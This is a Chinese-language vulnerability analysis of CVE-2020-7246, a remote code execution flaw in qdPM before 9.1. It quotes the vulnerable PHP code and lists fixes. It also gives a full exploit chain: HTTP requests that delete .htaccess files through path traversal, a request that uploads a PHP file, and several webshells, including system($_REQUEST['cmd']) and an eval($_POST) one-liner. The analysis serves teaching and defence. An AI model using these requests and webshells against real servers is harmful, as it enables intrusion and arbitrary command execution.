qdPM <9.1 远程代码执行漏洞分析(CVE-2020-7246)
字数 1350 2025-08-25 22:58:46
qdPM <9.1 远程代码执行漏洞分析(CVE-2020-7246)教学文档
0x00 漏洞背景
qdPM是一个基于web的项目管理系统,版本9.1之前存在远程代码执行漏洞(CVE-2020-7246)。该漏洞源于系统对.htaccess文件的不当处理以及上传功能的缺陷,导致攻击者可以绕过安全限制上传恶意PHP文件并执行任意代码。
0x01 前置知识
.htaccess文件机制
- 作用:.htaccess是Apache服务器的配置文件,用于控制相关目录及其子目录的访问权限
- 优先级:子目录中的.htaccess会覆盖父目录或根目录中的指令
- qdPM中的配置:
- 根目录.htaccess:限制HTML文件访问
- users目录.htaccess:限制只能上传图片文件(阻止.php、.html等文件上传)
漏洞相关文件
- users/.htaccess内容:
<FilesMatch "\.(php([0-9]|s)?|s?p?html|cgi|pl|exe)$">
Order Deny,Allow
Deny from all
</FilesMatch>
- 根目录.htaccess内容(部分):
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteRule ^$ index.html [QSA]
RewriteRule ^([^.]+)$ $1.html [QSA]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule ^(.*)$ index.php [QSA,L]
</IfModule>
0x02 漏洞复现步骤
环境准备
- 搭建qdPM <9.1版本环境
- 注册普通用户(如user01@localhost.com/user01)
攻击流程
-
删除安全限制文件:
- 删除users目录下的.htaccess文件
- 删除根目录下的.htaccess文件
-
上传Webshell:
- 通过用户信息更新功能上传恶意PHP文件
- 文件内容示例:
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); echo $cmd." "; system($cmd); echo "</pre>"; die; }?>
-
访问Webshell:
- 直接访问上传的PHP文件
- 通过cmd参数执行系统命令,如:
http://target/uploads/users/backdoor.php?cmd=ls
-
获取完整Shell:
- 写入一句话木马:
<?php eval($_POST[123]);?> - 使用蚁剑等工具连接
- 写入一句话木马:
0x03 漏洞原理分析
关键代码分析
漏洞位于core/apps/qdPM/modules/users/actions/actions.class.php文件的processForm()方法中:
-
文件删除漏洞:
if ($request->getParameter('remove_photo') == 1 && strlen($request->getParameter('photo_preview')) > 0) { unlink($request->getParameter('photo_preview')); }- 通过构造
remove_photo=1和photo_preview=.htaccess可删除任意文件 - 使用
../路径遍历可删除根目录.htaccess
- 通过构造
-
文件上传漏洞:
if (strlen($_FILES['users']['name']['photo']) > 0) { $upload_dir = sfConfig::get('sf_upload_dir') . '/users/'; move_uploaded_file($_FILES['users']['tmp_name']['photo'], $upload_dir . $_FILES['users']['name']['photo']); }- 删除.htaccess后,可绕过文件类型限制上传PHP文件
攻击链构建
- 首先删除users/.htaccess文件,解除上传限制
- 然后删除根目录.htaccess文件,确保PHP文件可执行
- 最后上传恶意PHP文件并访问执行
0x04 漏洞修复建议
- 升级到qdPM 9.1或更高版本
- 临时修复方案:
- 加强.htaccess文件权限(644)
- 检查用户上传功能,增加严格的文件类型验证
- 禁用危险函数如
unlink()或增加严格的路径检查
- 实施最小权限原则,限制web服务器用户权限
0x05 参考资源
- 漏洞EXP地址:https://packetstormsecurity.com/files/156063/qdPM-9.1-Remote-Code-Execution.html
- CVE详细信息:https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-7246
- qdPM官方网站:http://qdpm.net/
附录:完整攻击请求示例
- 删除users/.htaccess请求:
POST /index.php/myAccount/update HTTP/1.1
Content-Type: multipart/form-data
sf_method=put&users[id]=1&users[photo_preview]=.htaccess&users[_csrf_token]=[TOKEN]&users[name]=attacker&users[new_password]=&users[email]=attacker@example.com&extra_fields[9]=&users[remove_photo]=1
- 删除根目录.htaccess请求:
POST /index.php/myAccount/update HTTP/1.1
Content-Type: multipart/form-data
sf_method=put&users[id]=1&users[photo_preview]=../.htaccess&users[_csrf_token]=[TOKEN]&users[name]=attacker&users[new_password]=&users[email]=attacker@example.com&extra_fields[9]=&users[remove_photo]=1
- 上传Webshell请求:
POST /index.php/myAccount/update HTTP/1.1
Content-Type: multipart/form-data
sf_method=put&users[id]=1&users[photo_preview]=&users[_csrf_token]=[TOKEN]&users[name]=attacker&users[new_password]=&users[email]=attacker@example.com&extra_fields[9]=&users[photo]=@backdoor.php& <?php system($_GET['cmd']); ?>